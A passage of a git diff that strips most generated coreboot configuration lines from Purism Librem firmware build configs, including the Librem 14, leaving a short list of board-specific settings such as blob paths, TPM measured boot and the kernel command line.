-CONFIG_TSC_SYNC_MFENCE=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set CONFIG_CPU_UCODE_BINARIES="3rdparty/purism-blobs/mainboard/purism/librem_kbl/cpu_microcode_blob.bin" - -# -# Northbridge -# - -# -# Southbridge -# -# CONFIG_PCIEXP_HOTPLUG is not set -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# - -# -# Intel Firmware -# CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_CHECK_ME is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_USE_ME_CLEANER is not set -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_UDK_BASE=y -CONFIG_UDK_2017_BINDING=y -CONFIG_UDK_2013_VERSION=2013 -CONFIG_UDK_2017_VERSION=2017 -CONFIG_UDK_202005_VERSION=202005 -CONFIG_UDK_202302_VERSION=202302 -CONFIG_UDK_VERSION=2017 -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_HAVE_FSP_GOP=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_RUN_FSP_GOP is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x10000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -CONFIG_MRC_SETTINGS_PROTECT=y -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -# CONFIG_VPD is not set -CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -CONFIG_DRIVERS_I2C_DESIGNWARE=y -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_FSP_USE_REPO=y -# CONFIG_DISPLAY_HOBS is not set -# CONFIG_DISPLAY_UPD_DATA is not set -# CONFIG_BMP_LOGO is not set -CONFIG_PLATFORM_USES_FSP2_0=y -CONFIG_PLATFORM_USES_FSP2_X86_32=y -CONFIG_HAVE_INTEL_FSP_REPO=y -CONFIG_ADD_FSP_BINARIES=y -CONFIG_FSP_T_LOCATION=0xfffe0000 -CONFIG_FSP_S_CBFS="fsps.bin" -CONFIG_FSP_M_CBFS="fspm.bin" -CONFIG_FSP_FULL_FD=y -CONFIG_FSP_T_RESERVED_SIZE=0x0 -CONFIG_FSP_M_XIP=y -CONFIG_HAVE_FSP_LOGO_SUPPORT=y -CONFIG_FSP_COMPRESS_FSP_S_LZ4=y -CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y -CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 -CONFIG_SOC_INTEL_COMMON_FSP_RESET=y -CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y -CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y -CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y -# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA_IGNORE_PRESENCE_STRAPS=y -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_DYN_CPU=y -CONFIG_GFX_GMA_GENERATION="Skylake" -CONFIG_GFX_GMA_PCH="Sunrise_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set -# CONFIG_DRIVERS_PS2_KEYBOARD is not set -CONFIG_DRIVERS_MC146818=y -CONFIG_USE_PC_CMOS_ALTCENTURY=y -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -CONFIG_TPM1=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM1=y -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM1=y -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -# CONFIG_STM is not set -# CONFIG_INTEL_CBNT_SUPPORT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_CUSTOM_MADT=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_ACPI_LPIT=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_ACPI_S1_NOT_SUPPORTED=y -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_IOAPIC=y -CONFIG_ACPI_NHLT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# -# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set -# CONFIG_DISPLAY_FSP_HEADER is not set -# CONFIG_VERIFY_HOBS is not set -# CONFIG_DISPLAY_FSP_VERSION_INFO is not set -CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y -# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -CONFIG_HAVE_DEBUG_GPIO=y -# CONFIG_DEBUG_GPIO is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_SPD_READ_BY_WORD=y -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xe0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_GENERIC_GPIO_LIB=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-librem_14.config b/config/coreboot-librem_14.config index 02f30d0fe..d5bd84007 100644 --- a/config/coreboot-librem_14.config +++ b/config/coreboot-librem_14.config @@ -1,805 +1,22 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -CONFIG_OPTION_BACKEND_NONE=y -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set -CONFIG_USE_BLOBS=y -# CONFIG_USE_AMD_BLOBS is not set -# CONFIG_USE_QC_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LENOVO is not set -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set CONFIG_VENDOR_PURISM=y -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_MAINBOARD_FAMILY="Librem 14" -CONFIG_MAINBOARD_PART_NUMBER="Librem 14" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="purism/librem_cnl" -CONFIG_VGA_BIOS_ID="8086,9b41" -CONFIG_DIMM_MAX=2 -CONFIG_DIMM_SPD_SIZE=512 -CONFIG_FMDFILE="" -CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="Purism" CONFIG_CBFS_SIZE=0xC00000 CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=2160 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=3840 -CONFIG_MAX_CPUS=12 -# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VARIANT_DIR="librem_14" -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Purism" -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" -# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xe00 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_TPM_PIRQ=0x0 -CONFIG_PXE_ROM_ID="10ec,8168" -CONFIG_USE_PM_ACPI_TIMER=y -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xe0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xfef00000 -CONFIG_DCACHE_RAM_SIZE=0x40000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x20400 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/librem_14/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/librem_14/me.bin" -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -# CONFIG_USE_LEGACY_8254_TIMER is not set -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem 14" CONFIG_HAVE_IFD_BIN=y -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="PNP0F13" -CONFIG_GFX_GMA_PANEL_1_PORT="eDP" -# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set -CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -CONFIG_PCIEXP_CLK_PM=y -CONFIG_GFX_GMA_PANEL_1_ON_EDP=y -# CONFIG_BOARD_PURISM_LIBREM13_V1 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM_MINI is not set -# CONFIG_BOARD_PURISM_LIBREM_MINI_V2 is not set CONFIG_BOARD_PURISM_LIBREM_14=y -# CONFIG_BOARD_PURISM_LIBREM_11 is not set -# CONFIG_BOARD_PURISM_LIBREM_L1UM_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM13_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V3 is not set -# CONFIG_BOARD_PURISM_LIBREM13_V4 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V4 is not set -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_CNL=y -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_FSP_TEMP_RAM_SIZE=0x10000 -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set -CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=16384 -CONFIG_ROM_SIZE=0x01000000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set -CONFIG_POWER_STATE_ON_AFTER_FAILURE=y -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="soc/intel/cannonlake/chipset.cb" -CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" -CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x200000 -CONFIG_SMM_MODULE_STACK_SIZE=0x800 -CONFIG_ACPI_BERT_SIZE=0x0 -CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IFD_CHIPSET="cnl" -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_MAX_ROOT_PORTS=16 -CONFIG_MAX_PCIE_CLOCK_SRC=6 -CONFIG_PCR_BASE_ADDRESS=0xfd000000 -CONFIG_CPU_BCLK_MHZ=100 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 -CONFIG_CPU_XTAL_HZ=24000000 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=3 -CONFIG_SOC_INTEL_I2C_DEV_MAX=6 -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 -CONFIG_FSP_HEADER_PATH="3rdparty/fsp/CometLakeFspBinPkg/CometLake2/Include/" -CONFIG_FSP_FD_PATH="3rdparty/fsp/CometLakeFspBinPkg/CometLake1/Fsp.fd" -CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 -CONFIG_INTEL_GMA_BCLV_WIDTH=32 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8254 -CONFIG_INTEL_GMA_BCLM_WIDTH=32 -CONFIG_MAX_HECI_DEVICES=6 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_HAVE_PAM0_REGISTER=y -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_SOC_INTEL_CANNONLAKE_BASE=y -CONFIG_SOC_INTEL_COMETLAKE=y -CONFIG_SOC_INTEL_COMETLAKE_1_2=y -CONFIG_FSP_FD_PATH_2="3rdparty/fsp/CometLakeFspBinPkg/CometLake2/Fsp.fd" -CONFIG_SOC_INTEL_CANNONLAKE_DEBUG_CONSENT=0 -CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 -CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 -CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 -CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 -CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y -CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 -CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_SOC_INTEL_COMMON=y - -# -# 